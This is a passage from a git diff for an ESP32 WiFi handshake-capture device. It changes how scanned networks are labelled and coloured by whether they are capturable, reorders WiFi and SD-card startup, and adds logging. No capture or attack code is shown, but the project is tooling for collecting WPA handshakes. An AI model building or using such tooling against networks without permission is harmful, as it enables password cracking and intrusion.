ch%d", + const char* suffix = ""; + if (isSupportedCaptureAuth(networks[i].encryption) && + !isSupportedCaptureChannel(networks[i].ch)) { + suffix = " 5G+"; + } + snprintf(line, sizeof(line), "%02d. %s ch%d%s", i + 1, networks[i].ssid.c_str(), - networks[i].ch); + networks[i].ch, + suffix); Ui_AddNetwork(line, i); if (networks[i].handshake_captured) { Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_RED)); - } else { + } else if (isCaptureable(i)) { Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_GREEN)); + } else { + Ui_SetNetworkColor(i, lv_palette_main(LV_PALETTE_GREY)); } } diff --git a/handshake-capture-c6/handshake-capture-c6.ino b/handshake-capture-c6/handshake-capture-c6.ino index ad3f18d..8270e44 100644 --- a/handshake-capture-c6/handshake-capture-c6.ino +++ b/handshake-capture-c6/handshake-capture-c6.ino @@ -17,8 +17,6 @@ enum CaptureState { CaptureState captureState = STATE_SCANNING; unsigned long capture_start_time = 0; -// Hard cap per channel visit: should exceed MAX_OBSERVE_CYCLES * (observe + capture). -const unsigned long CHANNEL_TIMEOUT_MS = 150000UL; // ─── Live capture visual update ─── @@ -119,14 +117,17 @@ void setup() { Set_Backlight(100); Lvgl_Init(); + // WiFi + scan before SD: shared SPI with LCD; radio init can affect first SD.begin timing. + handshakeCaptureInit(); + WiFiScanner_Refresh(); + + HANDSHAKE_LOGLN("[SETUP] mounting SD after WiFi scan"); if (!SD_Init()) { Ui_SetWifiStatus("SD: no card"); } else { Ui_SetWifiStatus("SD OK"); } - handshakeCaptureInit(); - WiFiScanner_Refresh(); captureState = STATE_SCANNING; } @@ -147,8 +148,10 @@ void loop() { break; } if (!SD_IsReady()) { + HANDSHAKE_LOGLN("[CAP] SD not ready — calling SD_Init before capture"); SD_Init(); if (!SD_IsReady()) { + HANDSHAKE_LOGLN("[CAP] BLOCKED: SD_IsReady still false — UI: Insert SD card"); Ui_SetWifiStatus("Insert SD card"); delay(800); break; @@ -186,7 +189,7 @@ void loop() { } else if (!any_active) { stopCapture(); captureState = STATE_SCANNING; - } else if (millis() - capture_start_time > CHANNEL_TIMEOUT_MS) { + } else if (millis() - capture_start_time > HANDSHAKE_CHANNEL_TIMEOUT_MS) { Ui_SetWifiStatus("Ch timeout"); stopCapture(); captureState = STATE_SCANNING;